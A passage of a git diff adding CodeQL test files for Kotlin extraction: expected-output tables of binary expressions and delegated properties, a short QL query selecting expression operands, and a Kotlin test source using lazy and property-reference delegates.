+| exprs.kt:23:15:23:20 | ... (value equals) ... | exprs.kt:23:15:23:15 | x | exprs.kt:23:20:23:20 | y |
+| exprs.kt:24:15:24:20 | ... (value not-equals) ... | exprs.kt:24:15:24:15 | x | exprs.kt:24:20:24:20 | y |
+| exprs.kt:25:15:25:19 | ... < ... | exprs.kt:25:15:25:15 | x | exprs.kt:25:19:25:19 | y |
+| exprs.kt:26:15:26:20 | ... <= ... | exprs.kt:26:15:26:15 | x | exprs.kt:26:20:26:20 | y |
+| exprs.kt:27:15:27:19 | ... > ... | exprs.kt:27:15:27:15 | x | exprs.kt:27:19:27:19 | y |
+| exprs.kt:28:15:28:20 | ... >= ... | exprs.kt:28:15:28:15 | x | exprs.kt:28:20:28:20 | y |
+| exprs.kt:29:15:29:21 | ... == ... | exprs.kt:29:15:29:15 | x | exprs.kt:29:21:29:21 | y |
+| exprs.kt:30:15:30:21 | ... != ... | exprs.kt:30:15:30:15 | x | exprs.kt:30:21:30:21 | y |
+| exprs.kt:35:15:35:23 | ... + ... | exprs.kt:35:15:35:17 | byx | exprs.kt:35:21:35:23 | byy |
+| exprs.kt:36:15:36:23 | ... - ... | exprs.kt:36:15:36:17 | byx | exprs.kt:36:21:36:23 | byy |
+| exprs.kt:37:15:37:23 | ... / ... | exprs.kt:37:15:37:17 | byx | exprs.kt:37:21:37:23 | byy |
+| exprs.kt:38:15:38:23 | ... % ... | exprs.kt:38:15:38:17 | byx | exprs.kt:38:21:38:23 | byy |
+| exprs.kt:39:15:39:24 | ... (value equals) ... | exprs.kt:39:15:39:17 | toInt(...) | exprs.kt:39:22:39:24 | toInt(...) |
+| exprs.kt:40:15:40:24 | ... (value not-equals) ... | exprs.kt:40:15:40:17 | toInt(...) | exprs.kt:40:22:40:24 | toInt(...) |
+| exprs.kt:41:15:41:23 | ... < ... | exprs.kt:41:15:41:17 | toInt(...) | exprs.kt:41:21:41:23 | toInt(...) |
+| exprs.kt:42:15:42:24 | ... <= ... | exprs.kt:42:15:42:17 | toInt(...) | exprs.kt:42:22:42:24 | toInt(...) |
+| exprs.kt:43:16:43:24 | ... > ... | exprs.kt:43:16:43:18 | toInt(...) | exprs.kt:43:22:43:24 | toInt(...) |
+| exprs.kt:44:16:44:25 | ... >= ... | exprs.kt:44:16:44:18 | toInt(...) | exprs.kt:44:23:44:25 | toInt(...) |
+| exprs.kt:45:16:45:26 | ... == ... | exprs.kt:45:16:45:18 | byx | exprs.kt:45:24:45:26 | byy |
+| exprs.kt:46:16:46:26 | ... != ... | exprs.kt:46:16:46:18 | byx | exprs.kt:46:24:46:26 | byy |
+| exprs.kt:49:14:49:20 | ... + ... | exprs.kt:49:14:49:15 | sx | exprs.kt:49:19:49:20 | sy |
+| exprs.kt:50:14:50:20 | ... - ... | exprs.kt:50:14:50:15 | sx | exprs.kt:50:19:50:20 | sy |
+| exprs.kt:51:14:51:20 | ... / ... | exprs.kt:51:14:51:15 | sx | exprs.kt:51:19:51:20 | sy |
+| exprs.kt:52:14:52:20 | ... % ... | exprs.kt:52:14:52:15 | sx | exprs.kt:52:19:52:20 | sy |
+| exprs.kt:53:14:53:21 | ... (value equals) ... | exprs.kt:53:14:53:15 | toInt(...) | exprs.kt:53:20:53:21 | toInt(...) |
+| exprs.kt:54:14:54:21 | ... (value not-equals) ... | exprs.kt:54:14:54:15 | toInt(...) | exprs.kt:54:20:54:21 | toInt(...) |
+| exprs.kt:55:14:55:20 | ... < ... | exprs.kt:55:14:55:15 | toInt(...) | exprs.kt:55:19:55:20 | toInt(...) |
+| exprs.kt:56:14:56:21 | ... <= ... | exprs.kt:56:14:56:15 | toInt(...) | exprs.kt:56:20:56:21 | toInt(...) |
+| exprs.kt:57:15:57:21 | ... > ... | exprs.kt:57:15:57:16 | toInt(...) | exprs.kt:57:20:57:21 | toInt(...) |
+| exprs.kt:58:15:58:22 | ... >= ... | exprs.kt:58:15:58:16 | toInt(...) | exprs.kt:58:21:58:22 | toInt(...) |
+| exprs.kt:59:15:59:23 | ... == ... | exprs.kt:59:15:59:16 | sx | exprs.kt:59:22:59:23 | sy |
+| exprs.kt:60:15:60:23 | ... != ... | exprs.kt:60:15:60:16 | sx | exprs.kt:60:22:60:23 | sy |
+| exprs.kt:63:14:63:20 | ... + ... | exprs.kt:63:14:63:15 | lx | exprs.kt:63:19:63:20 | ly |
+| exprs.kt:64:14:64:20 | ... - ... | exprs.kt:64:14:64:15 | lx | exprs.kt:64:19:64:20 | ly |
+| exprs.kt:65:14:65:20 | ... / ... | exprs.kt:65:14:65:15 | lx | exprs.kt:65:19:65:20 | ly |
+| exprs.kt:66:14:66:20 | ... % ... | exprs.kt:66:14:66:15 | lx | exprs.kt:66:19:66:20 | ly |
+| exprs.kt:74:15:74:22 | ... (value equals) ... | exprs.kt:74:15:74:16 | lx | exprs.kt:74:21:74:22 | ly |
+| exprs.kt:75:15:75:22 | ... (value not-equals) ... | exprs.kt:75:15:75:16 | lx | exprs.kt:75:21:75:22 | ly |
+| exprs.kt:76:15:76:21 | ... < ... | exprs.kt:76:15:76:16 | lx | exprs.kt:76:20:76:21 | ly |
+| exprs.kt:77:15:77:22 | ... <= ... | exprs.kt:77:15:77:16 | lx | exprs.kt:77:21:77:22 | ly |
+| exprs.kt:78:15:78:21 | ... > ... | exprs.kt:78:15:78:16 | lx | exprs.kt:78:20:78:21 | ly |
+| exprs.kt:79:15:79:22 | ... >= ... | exprs.kt:79:15:79:16 | lx | exprs.kt:79:21:79:22 | ly |
+| exprs.kt:80:15:80:23 | ... == ... | exprs.kt:80:15:80:16 | lx | exprs.kt:80:22:80:23 | ly |
+| exprs.kt:81:15:81:23 | ... != ... | exprs.kt:81:15:81:16 | lx | exprs.kt:81:22:81:23 | ly |
+| exprs.kt:84:14:84:20 | ... + ... | exprs.kt:84:14:84:15 | dx | exprs.kt:84:19:84:20 | dy |
+| exprs.kt:85:14:85:20 | ... - ... | exprs.kt:85:14:85:15 | dx | exprs.kt:85:19:85:20 | dy |
+| exprs.kt:86:14:86:20 | ... / ... | exprs.kt:86:14:86:15 | dx | exprs.kt:86:19:86:20 | dy |
+| exprs.kt:87:14:87:20 | ... % ... | exprs.kt:87:14:87:15 | dx | exprs.kt:87:19:87:20 | dy |
+| exprs.kt:88:14:88:21 | ... == ... | exprs.kt:88:14:88:15 | dx | exprs.kt:88:20:88:21 | dy |
+| exprs.kt:89:14:89:21 | ... != ... | exprs.kt:89:14:89:15 | dx | exprs.kt:89:20:89:21 | dy |
+| exprs.kt:90:14:90:20 | ... < ... | exprs.kt:90:14:90:15 | dx | exprs.kt:90:19:90:20 | dy |
+| exprs.kt:91:14:91:21 | ... <= ... | exprs.kt:91:14:91:15 | dx | exprs.kt:91:20:91:21 | dy |
+| exprs.kt:92:15:92:21 | ... > ... | exprs.kt:92:15:92:16 | dx | exprs.kt:92:20:92:21 | dy |
+| exprs.kt:93:15:93:22 | ... >= ... | exprs.kt:93:15:93:16 | dx | exprs.kt:93:21:93:22 | dy |
+| exprs.kt:94:15:94:23 | ... == ... | exprs.kt:94:15:94:16 | dx | exprs.kt:94:22:94:23 | dy |
+| exprs.kt:95:15:95:23 | ... != ... | exprs.kt:95:15:95:16 | dx | exprs.kt:95:22:95:23 | dy |
+| exprs.kt:98:14:98:20 | ... + ... | exprs.kt:98:14:98:15 | fx | exprs.kt:98:19:98:20 | fy |
+| exprs.kt:99:14:99:20 | ... - ... | exprs.kt:99:14:99:15 | fx | exprs.kt:99:19:99:20 | fy |
+| exprs.kt:100:14:100:20 | ... / ... | exprs.kt:100:14:100:15 | fx | exprs.kt:100:19:100:20 | fy |
+| exprs.kt:101:14:101:20 | ... % ... | exprs.kt:101:14:101:15 | fx | exprs.kt:101:19:101:20 | fy |
+| exprs.kt:102:14:102:21 | ... == ... | exprs.kt:102:14:102:15 | fx | exprs.kt:102:20:102:21 | fy |
+| exprs.kt:103:14:103:21 | ... != ... | exprs.kt:103:14:103:15 | fx | exprs.kt:103:20:103:21 | fy |
+| exprs.kt:104:14:104:20 | ... < ... | exprs.kt:104:14:104:15 | fx | exprs.kt:104:19:104:20 | fy |
+| exprs.kt:105:14:105:21 | ... <= ... | exprs.kt:105:14:105:15 | fx | exprs.kt:105:20:105:21 | fy |
+| exprs.kt:106:15:106:21 | ... > ... | exprs.kt:106:15:106:16 | fx | exprs.kt:106:20:106:21 | fy |
+| exprs.kt:107:15:107:22 | ... >= ... | exprs.kt:107:15:107:16 | fx | exprs.kt:107:21:107:22 | fy |
+| exprs.kt:108:15:108:23 | ... == ... | exprs.kt:108:15:108:16 | fx | exprs.kt:108:22:108:23 | fy |
+| exprs.kt:109:15:109:23 | ... != ... | exprs.kt:109:15:109:16 | fx | exprs.kt:109:22:109:23 | fy |
+| exprs.kt:113:14:113:21 | ... && ... | exprs.kt:113:14:113:15 | b1 | exprs.kt:113:20:113:21 | b2 |
+| exprs.kt:114:14:114:21 | ... \|\| ... | exprs.kt:114:14:114:15 | b1 | exprs.kt:114:20:114:21 | b2 |
+| exprs.kt:127:31:127:41 | ... + ... | exprs.kt:127:31:127:34 | str1 | exprs.kt:127:38:127:41 | str2 |
+| exprs.kt:127:50:127:60 | ... + ... | exprs.kt:127:50:127:53 | str2 | exprs.kt:127:57:127:60 | str1 |
+| exprs.kt:128:16:128:26 | ... + ... | exprs.kt:128:16:128:19 | str1 | exprs.kt:128:23:128:26 | str2 |
+| exprs.kt:131:12:131:23 | ... > ... | exprs.kt:131:12:131:19 | variable | exprs.kt:131:23:131:23 | 0 |
+| exprs.kt:135:12:135:20 | ... + ... | exprs.kt:135:12:135:14 | 123 | exprs.kt:135:18:135:20 | 456 |
+| exprs.kt:161:8:161:16 | ... (value not-equals) ... | exprs.kt:161:8:161:8 | r | exprs.kt:161:13:161:16 | null |
+| exprs.kt:190:31:190:37 | ... + ... | exprs.kt:190:31:190:32 | getA1(...) | exprs.kt:190:36:190:37 | a2 |
+| exprs.kt:204:19:204:23 | ... + ... | exprs.kt:204:19:204:19 | s | exprs.kt:204:23:204:23 | 5 |
+| exprs.kt:206:19:206:25 | ... + ... | exprs.kt:206:20:206:21 | ...!! | exprs.kt:206:25:206:25 | 5 |
+| exprs.kt:224:12:224:47 | ... (value equals) ... | exprs.kt:224:12:224:27 | notNullPrimitive | exprs.kt:224:32:224:47 | notNullPrimitive |
+| exprs.kt:225:12:225:48 | ... (value equals) ... | exprs.kt:225:12:225:27 | notNullPrimitive | exprs.kt:225:32:225:48 | nullablePrimitive |
+| exprs.kt:226:12:226:49 | ... (value equals) ... | exprs.kt:226:12:226:28 | nullablePrimitive | exprs.kt:226:33:226:49 | nullablePrimitive |
+| exprs.kt:227:12:227:43 | ... (value equals) ... | exprs.kt:227:12:227:25 | notNullReftype | exprs.kt:227:30:227:43 | notNullReftype |
+| exprs.kt:228:12:228:44 | ... (value equals) ... | exprs.kt:228:12:228:25 | notNullReftype | exprs.kt:228:30:228:44 | nullableReftype |
+| exprs.kt:229:12:229:45 | ... (value equals) ... | exprs.kt:229:12:229:26 | nullableReftype | exprs.kt:229:31:229:45 | nullableReftype |
+| exprs.kt:230:12:230:47 | ... (value not-equals) ... | exprs.kt:230:12:230:27 | notNullPrimitive | exprs.kt:230:32:230:47 | notNullPrimitive |
+| exprs.kt:231:12:231:48 | ... (value not-equals) ... | exprs.kt:231:12:231:27 | notNullPrimitive | exprs.kt:231:32:231:48 | nullablePrimitive |
+| exprs.kt:232:12:232:49 | ... (value not-equals) ... | exprs.kt:232:12:232:28 | nullablePrimitive | exprs.kt:232:33:232:49 | nullablePrimitive |
+| exprs.kt:233:13:233:44 | ... (value not-equals) ... | exprs.kt:233:13:233:26 | notNullReftype | exprs.kt:233:31:233:44 | notNullReftype |
+| exprs.kt:234:13:234:45 | ... (value not-equals) ... | exprs.kt:234:13:234:26 | notNullReftype | exprs.kt:234:31:234:45 | nullableReftype |
+| exprs.kt:235:13:235:46 | ... (value not-equals) ... | exprs.kt:235:13:235:27 | nullableReftype | exprs.kt:235:32:235:46 | nullableReftype |
+| exprs.kt:236:13:236:36 | ... (value equals) ... | exprs.kt:236:13:236:28 | notNullPrimitive | exprs.kt:236:33:236:36 | null |
+| exprs.kt:237:13:237:37 | ... (value equals) ... | exprs.kt:237:13:237:29 | nullablePrimitive | exprs.kt:237:34:237:37 | null |
+| exprs.kt:238:13:238:34 | ... (value equals) ... | exprs.kt:238:13:238:26 | notNullReftype | exprs.kt:238:31:238:34 | null |
+| exprs.kt:239:13:239:35 | ... (value equals) ... | exprs.kt:239:13:239:27 | nullableReftype | exprs.kt:239:32:239:35 | null |
+| exprs.kt:240:13:240:36 | ... (value not-equals) ... | exprs.kt:240:13:240:28 | notNullPrimitive | exprs.kt:240:33:240:36 | null |
+| exprs.kt:241:13:241:37 | ... (value not-equals) ... | exprs.kt:241:13:241:29 | nullablePrimitive | exprs.kt:241:34:241:37 | null |
+| exprs.kt:242:13:242:34 | ... (value not-equals) ... | exprs.kt:242:13:242:26 | notNullReftype | exprs.kt:242:31:242:34 | null |
+| exprs.kt:243:13:243:35 | ... (value not-equals) ... | exprs.kt:243:13:243:27 | nullableReftype | exprs.kt:243:32:243:35 | null |
+| exprs.kt:253:11:253:15 | ... * ... | exprs.kt:253:11:253:11 | x | exprs.kt:253:15:253:15 | y |
+| exprs.kt:254:11:254:19 | ... * ... | exprs.kt:254:11:254:13 | byx | exprs.kt:254:17:254:19 | byy |
+| exprs.kt:255:11:255:17 | ... * ... | exprs.kt:255:11:255:12 | lx | exprs.kt:255:16:255:17 | ly |
+| exprs.kt:256:11:256:17 | ... * ... | exprs.kt:256:11:256:12 | dx | exprs.kt:256:16:256:17 | dy |
+| exprs.kt:257:11:257:17 | ... * ... | exprs.kt:257:11:257:12 | fx | exprs.kt:257:16:257:17 | fy |
+| funcExprs.kt:32:35:32:42 | ... + ... | funcExprs.kt:32:35:32:38 | this | funcExprs.kt:32:42:32:42 | a |
+| localFunctionCalls.kt:5:25:5:29 | ... + ... | localFunctionCalls.kt:5:25:5:25 | i | localFunctionCalls.kt:5:29:5:29 | x |
+| samConversion.kt:2:33:2:38 | ... % ... | samConversion.kt:2:33:2:34 | it | samConversion.kt:2:38:2:38 | 2 |
+| samConversion.kt:2:33:2:43 | ... (value equals) ... | samConversion.kt:2:33:2:38 | ... % ... | samConversion.kt:2:43:2:43 | 0 |
+| samConversion.kt:7:36:7:45 | ... (value equals) ... | samConversion.kt:7:36:7:39 | this | samConversion.kt:7:44:7:45 |  |
+| samConversion.kt:10:18:10:22 | ... % ... | samConversion.kt:10:18:10:18 | j | samConversion.kt:10:22:10:22 | 2 |
+| samConversion.kt:10:18:10:27 | ... (value equals) ... | samConversion.kt:10:18:10:22 | ... % ... | samConversion.kt:10:27:10:27 | 0 |
+| samConversion.kt:12:18:12:22 | ... % ... | samConversion.kt:12:18:12:18 | j | samConversion.kt:12:22:12:22 | 2 |
+| samConversion.kt:12:18:12:27 | ... (value equals) ... | samConversion.kt:12:18:12:22 | ... % ... | samConversion.kt:12:27:12:27 | 1 |
+| whenExpr.kt:3:5:3:5 | ... (value equals) ... | whenExpr.kt:3:5:3:5 | tmp0_subject | whenExpr.kt:3:5:3:5 | 0 |
+| whenExpr.kt:4:5:4:5 | ... (value equals) ... | whenExpr.kt:4:5:4:5 | tmp0_subject | whenExpr.kt:4:5:4:5 | 1 |
+| whenExpr.kt:5:5:5:5 | ... (value equals) ... | whenExpr.kt:5:5:5:5 | tmp0_subject | whenExpr.kt:5:5:5:5 | 2 |
+| whenExpr.kt:6:5:6:5 | ... (value equals) ... | whenExpr.kt:6:5:6:5 | tmp0_subject | whenExpr.kt:6:5:6:5 | 3 |
diff --git a/java/ql/test/kotlin/library-tests/exprs/binop.ql b/java/ql/test/kotlin/library-tests/exprs/binop.ql
new file mode 100644
index 00000000000..d865d83fcf9
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/exprs/binop.ql
@@ -0,0 +1,44 @@
+import java
+
+newtype TMaybeElement =
+  TElement(Element e) or
+  TNoElement()
+
+class MaybeElement extends TMaybeElement {
+  abstract string toString();
+
+  abstract Location getLocation();
+}
+
+class YesMaybeElement extends MaybeElement {
+  Element e;
+
+  YesMaybeElement() { this = TElement(e) }
+
+  override string toString() { result = e.toString() }
+
+  override Location getLocation() { result = e.getLocation() }
+}
+
+class NoMaybeElement extends MaybeElement {
+  NoMaybeElement() { this = TNoElement() }
+
+  override string toString() { result = "<none>" }
+
+  override Location getLocation() { none() }
+}
+
+MaybeElement lhs(BinaryExpr e) {
+  if exists(e.getLeftOperand())
+  then result = TElement(e.getLeftOperand())
+  else result = TNoElement()
+}
+
+MaybeElement rhs(BinaryExpr e) {
+  if exists(e.getRightOperand())
+  then result = TElement(e.getRightOperand())
+  else result = TNoElement()
+}
+
+from Expr e
+select e, lhs(e), rhs(e)
diff --git a/java/ql/test/kotlin/library-tests/exprs/delegatedProperties.expected b/java/ql/test/kotlin/library-tests/exprs/delegatedProperties.expected
new file mode 100644
index 00000000000..c60b200a2eb
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/exprs/delegatedProperties.expected
@@ -0,0 +1,68 @@
+delegatedProperties
+| delegatedProperties.kt:6:9:9:9 | prop1 | prop1 | local | delegatedProperties.kt:6:24:9:9 | Lazy<Integer> prop1$delegate | delegatedProperties.kt:6:27:9:9 | lazy(...) |
+| delegatedProperties.kt:19:9:19:51 | varResource1 | varResource1 | local | delegatedProperties.kt:19:31:19:51 | ResourceDelegate varResource1$delegate | delegatedProperties.kt:19:34:19:51 | new ResourceDelegate(...) |
+| delegatedProperties.kt:23:9:23:31 | name | name | local | delegatedProperties.kt:23:26:23:31 | Map<String,Object> name$delegate | delegatedProperties.kt:23:29:23:31 | map |
+| delegatedProperties.kt:33:9:33:76 | readOnly | readOnly | local | delegatedProperties.kt:33:27:33:47 | ReadWriteProperty<Object,Integer> readOnly$delegate | delegatedProperties.kt:33:30:33:47 | resourceDelegate(...) |
+| delegatedProperties.kt:34:9:34:48 | readWrite | readWrite | local | delegatedProperties.kt:34:28:34:48 | ReadWriteProperty<Object,Integer> readWrite$delegate | delegatedProperties.kt:34:31:34:48 | resourceDelegate(...) |
+| delegatedProperties.kt:39:9:39:51 | varResource2 | varResource2 | local | delegatedProperties.kt:39:31:39:51 | ResourceDelegate varResource2$delegate | delegatedProperties.kt:39:31:39:51 | provideDelegate(...) |
+| delegatedProperties.kt:42:5:42:47 | varResource0 | varResource0 | non-local | delegatedProperties.kt:42:27:42:47 | varResource0$delegate | delegatedProperties.kt:42:30:42:47 | new ResourceDelegate(...) |
+| delegatedProperties.kt:66:5:66:50 | delegatedToMember1 | delegatedToMember1 | non-local | delegatedProperties.kt:66:33:66:50 | delegatedToMember1$delegate | delegatedProperties.kt:66:36:66:50 | ...::... |
+| delegatedProperties.kt:67:5:67:53 | delegatedToMember2 | delegatedToMember2 | non-local | delegatedProperties.kt:67:33:67:53 | delegatedToMember2$delegate | delegatedProperties.kt:67:36:67:53 | ...::... |
+| delegatedProperties.kt:69:5:69:56 | delegatedToExtMember1 | delegatedToExtMember1 | non-local | delegatedProperties.kt:69:36:69:56 | delegatedToExtMember1$delegate | delegatedProperties.kt:69:39:69:56 | ...::... |
+| delegatedProperties.kt:70:5:70:59 | delegatedToExtMember2 | delegatedToExtMember2 | non-local | delegatedProperties.kt:70:36:70:59 | delegatedToExtMember2$delegate | delegatedProperties.kt:70:39:70:59 | ...::... |
+| delegatedProperties.kt:72:5:72:56 | delegatedToBaseClass1 | delegatedToBaseClass1 | non-local | delegatedProperties.kt:72:36:72:56 | delegatedToBaseClass1$delegate | delegatedProperties.kt:72:39:72:56 | ...::... |
+| delegatedProperties.kt:73:5:73:56 | delegatedToBaseClass2 | delegatedToBaseClass2 | non-local | delegatedProperties.kt:73:36:73:56 | delegatedToBaseClass2$delegate | delegatedProperties.kt:73:39:73:56 | ...::... |
+| delegatedProperties.kt:75:5:75:78 | delegatedToAnotherClass1 | delegatedToAnotherClass1 | non-local | delegatedProperties.kt:75:39:75:78 | delegatedToAnotherClass1$delegate | delegatedProperties.kt:75:42:75:78 | ...::... |
+| delegatedProperties.kt:77:5:77:49 | delegatedToTopLevel | delegatedToTopLevel | non-local | delegatedProperties.kt:77:34:77:49 | delegatedToTopLevel$delegate | delegatedProperties.kt:77:37:77:49 | ...::... |
+| delegatedProperties.kt:79:5:79:38 | max | max | non-local | delegatedProperties.kt:79:18:79:38 | max$delegate | delegatedProperties.kt:79:21:79:38 | ...::... |
+| delegatedProperties.kt:82:9:82:54 | delegatedToMember3 | delegatedToMember3 | local | delegatedProperties.kt:82:37:82:54 | KMutableProperty0<Integer> delegatedToMember3$delegate | delegatedProperties.kt:82:40:82:54 | ...::... |
+| delegatedProperties.kt:87:1:87:46 | extDelegated | extDelegated | non-local | delegatedProperties.kt:87:31:87:46 | extDelegated$delegate | delegatedProperties.kt:87:34:87:46 | ...::... |
+delegatedPropertyTypes
+| delegatedProperties.kt:6:9:9:9 | prop1 | file://:0:0:0:0 | int | file://<external>/Lazy.class:0:0:0:0 | Lazy<Integer> |
+| delegatedProperties.kt:19:9:19:51 | varResource1 | file://:0:0:0:0 | int | delegatedProperties.kt:45:1:51:1 | ResourceDelegate |
+| delegatedProperties.kt:23:9:23:31 | name | file://<external>/String.class:0:0:0:0 | String | file://<external>/Map.class:0:0:0:0 | Map<String,Object> |
+| delegatedProperties.kt:33:9:33:76 | readOnly | file://:0:0:0:0 | int | file://<external>/ReadWriteProperty.class:0:0:0:0 | ReadWriteProperty<Object,Integer> |
+| delegatedProperties.kt:34:9:34:48 | readWrite | file://:0:0:0:0 | int | file://<external>/ReadWriteProperty.class:0:0:0:0 | ReadWriteProperty<Object,Integer> |
+| delegatedProperties.kt:39:9:39:51 | varResource2 | file://:0:0:0:0 | int | delegatedProperties.kt:45:1:51:1 | ResourceDelegate |
+| delegatedProperties.kt:42:5:42:47 | varResource0 | file://:0:0:0:0 | int | delegatedProperties.kt:45:1:51:1 | ResourceDelegate |
+| delegatedProperties.kt:66:5:66:50 | delegatedToMember1 | file://:0:0:0:0 | int | file://<external>/KMutableProperty0.class:0:0:0:0 | KMutableProperty0<Integer> |
+| delegatedProperties.kt:67:5:67:53 | delegatedToMember2 | file://:0:0:0:0 | int | file://<external>/KMutableProperty1.class:0:0:0:0 | KMutableProperty1<MyClass,Integer> |
+| delegatedProperties.kt:69:5:69:56 | delegatedToExtMember1 | file://:0:0:0:0 | int | file://<external>/KMutableProperty0.class:0:0:0:0 | KMutableProperty0<Integer> |
+| delegatedProperties.kt:70:5:70:59 | delegatedToExtMember2 | file://:0:0:0:0 | int | file://<external>/KMutableProperty1.class:0:0:0:0 | KMutableProperty1<MyClass,Integer> |
+| delegatedProperties.kt:72:5:72:56 | delegatedToBaseClass1 | file://:0:0:0:0 | int | file://<external>/KProperty0.class:0:0:0:0 | KProperty0<Integer> |
+| delegatedProperties.kt:73:5:73:56 | delegatedToBaseClass2 | file://:0:0:0:0 | int | file://<external>/KProperty1.class:0:0:0:0 | KProperty1<Base,Integer> |
+| delegatedProperties.kt:75:5:75:78 | delegatedToAnotherClass1 | file://:0:0:0:0 | int | file://<external>/KProperty0.class:0:0:0:0 | KProperty0<Integer> |
+| delegatedProperties.kt:77:5:77:49 | delegatedToTopLevel | file://:0:0:0:0 | int | file://<external>/KMutableProperty0.class:0:0:0:0 | KMutableProperty0<Integer> |
+| delegatedProperties.kt:79:5:79:38 | max | file://:0:0:0:0 | int | file://<external>/KProperty0.class:0:0:0:0 | KProperty0<Integer> |
+| delegatedProperties.kt:82:9:82:54 | delegatedToMember3 | file://:0:0:0:0 | int | file://<external>/KMutableProperty0.class:0:0:0:0 | KMutableProperty0<Integer> |
+| delegatedProperties.kt:87:1:87:46 | extDelegated | file://:0:0:0:0 | int | file://<external>/KMutableProperty0.class:0:0:0:0 | KMutableProperty0<Integer> |
+delegatedPropertyGetters
+| delegatedProperties.kt:6:9:9:9 | prop1 | delegatedProperties.kt:6:24:9:9 | <get-prop1> |
+| delegatedProperties.kt:19:9:19:51 | varResource1 | delegatedProperties.kt:19:31:19:51 | <get-varResource1> |
+| delegatedProperties.kt:23:9:23:31 | name | delegatedProperties.kt:23:26:23:31 | <get-name> |
+| delegatedProperties.kt:33:9:33:76 | readOnly | delegatedProperties.kt:33:27:33:47 | <get-readOnly> |
+| delegatedProperties.kt:34:9:34:48 | readWrite | delegatedProperties.kt:34:28:34:48 | <get-readWrite> |
+| delegatedProperties.kt:39:9:39:51 | varResource2 | delegatedProperties.kt:39:31:39:51 | <get-varResource2> |
+| delegatedProperties.kt:42:5:42:47 | varResource0 | delegatedProperties.kt:42:27:42:47 | getVarResource0 |
+| delegatedProperties.kt:66:5:66:50 | delegatedToMember1 | delegatedProperties.kt:66:33:66:50 | getDelegatedToMember1 |
+| delegatedProperties.kt:67:5:67:53 | delegatedToMember2 | delegatedProperties.kt:67:33:67:53 | getDelegatedToMember2 |
+| delegatedProperties.kt:69:5:69:56 | delegatedToExtMember1 | delegatedProperties.kt:69:36:69:56 | getDelegatedToExtMember1 |
+| delegatedProperties.kt:70:5:70:59 | delegatedToExtMember2 | delegatedProperties.kt:70:36:70:59 | getDelegatedToExtMember2 |
+| delegatedProperties.kt:72:5:72:56 | delegatedToBaseClass1 | delegatedProperties.kt:72:36:72:56 | getDelegatedToBaseClass1 |
+| delegatedProperties.kt:73:5:73:56 | delegatedToBaseClass2 | delegatedProperties.kt:73:36:73:56 | getDelegatedToBaseClass2 |
+| delegatedProperties.kt:75:5:75:78 | delegatedToAnotherClass1 | delegatedProperties.kt:75:39:75:78 | getDelegatedToAnotherClass1 |
+| delegatedProperties.kt:77:5:77:49 | delegatedToTopLevel | delegatedProperties.kt:77:34:77:49 | getDelegatedToTopLevel |
+| delegatedProperties.kt:79:5:79:38 | max | delegatedProperties.kt:79:18:79:38 | getMax |
+| delegatedProperties.kt:82:9:82:54 | delegatedToMember3 | delegatedProperties.kt:82:37:82:54 | <get-delegatedToMember3> |
+| delegatedProperties.kt:87:1:87:46 | extDelegated | delegatedProperties.kt:87:31:87:46 | getExtDelegated |
+delegatedPropertySetters
+| delegatedProperties.kt:19:9:19:51 | varResource1 | delegatedProperties.kt:19:31:19:51 | <set-varResource1> |
+| delegatedProperties.kt:34:9:34:48 | readWrite | delegatedProperties.kt:34:28:34:48 | <set-readWrite> |
+| delegatedProperties.kt:42:5:42:47 | varResource0 | delegatedProperties.kt:42:27:42:47 | setVarResource0 |
+| delegatedProperties.kt:66:5:66:50 | delegatedToMember1 | delegatedProperties.kt:66:33:66:50 | setDelegatedToMember1 |
+| delegatedProperties.kt:67:5:67:53 | delegatedToMember2 | delegatedProperties.kt:67:33:67:53 | setDelegatedToMember2 |
+| delegatedProperties.kt:69:5:69:56 | delegatedToExtMember1 | delegatedProperties.kt:69:36:69:56 | setDelegatedToExtMember1 |
+| delegatedProperties.kt:70:5:70:59 | delegatedToExtMember2 | delegatedProperties.kt:70:36:70:59 | setDelegatedToExtMember2 |
+| delegatedProperties.kt:77:5:77:49 | delegatedToTopLevel | delegatedProperties.kt:77:34:77:49 | setDelegatedToTopLevel |
+| delegatedProperties.kt:82:9:82:54 | delegatedToMember3 | delegatedProperties.kt:82:37:82:54 | <set-delegatedToMember3> |
+| delegatedProperties.kt:87:1:87:46 | extDelegated | delegatedProperties.kt:87:31:87:46 | setExtDelegated |
diff --git a/java/ql/test/kotlin/library-tests/exprs/delegatedProperties.kt b/java/ql/test/kotlin/library-tests/exprs/delegatedProperties.kt
new file mode 100644
index 00000000000..477e4b66ae9
--- /dev/null
+++ b/java/ql/test/kotlin/library-tests/exprs/delegatedProperties.kt
@@ -0,0 +1,87 @@
+import kotlin.properties.ReadWriteProperty
+import kotlin.reflect.KProperty
+
+class ClassProp1 {
+    fun fn() {
+        val prop1: Int by lazy {
+            println("init")
+            5
+        }
+        println(prop1)
+        println(prop1)
+    }
+}
+
+class Resource
+
+class Owner {
+    fun fn(map: Map<String, Any?>) {
+        var varResource1: Int by ResourceDelegate()
+        println(varResource1)
+        varResource1 = 2
+
+        val name: String by map
+
+        fun resourceDelegate(): ReadWriteProperty<Any?, Int> = object : ReadWriteProperty<Any?, Int> {
+            var curValue = 0
+            override fun getValue(thisRef: Any?, property: KProperty<*>): Int = curValue
+            override fun setValue(thisRef: Any?, property: KProperty<*>, value: Int) {
+                curValue = value
+            }
+        }
+
+        val readOnly: Int by resourceDelegate()  // ReadWriteProperty as val
+        var readWrite: Int by resourceDelegate()
+
+        println(varResource0)
+        varResource0 = 3
+
+        val varResource2: Int by DelegateProvider()
+    }
+
+    var varResource0: Int by ResourceDelegate()
+}
+
+class ResourceDelegate {
+    operator fun getValue(thisRef: Owner?, property: KProperty<*>): Int {
+        return 1
+    }
+    operator fun setValue(thisRef: Owner?, property: KProperty<*>, value: Int?) {
+    }
+}
+
+class DelegateProvider {
+    operator fun provideDelegate(thisRef: Owner?, prop: KProperty<*>): ResourceDelegate {
+        // ... some logic
+        return ResourceDelegate()
+    }
+}
+
+var topLevelInt: Int = 0
+
+class ClassWithDelegate(val anotherClassInt: Int)
+open class Base(val baseClassInt: Int)
+
+class MyClass(var memberInt: Int, val anotherClassInstance: ClassWithDelegate) : Base(memberInt) {
+    var delegatedToMember1: Int by this::memberInt
+    var delegatedToMember2: Int by MyClass::memberInt
+
+    var delegatedToExtMember1: Int by this::extDelegated
+    var delegatedToExtMember2: Int by MyClass::extDelegated
+
+    val delegatedToBaseClass1: Int by this::baseClassInt
+    val delegatedToBaseClass2: Int by Base::baseClassInt
+
+    val delegatedToAnotherClass1: Int by anotherClassInstance::anotherClassInt
+
+    var delegatedToTopLevel: Int by ::topLevelInt
+
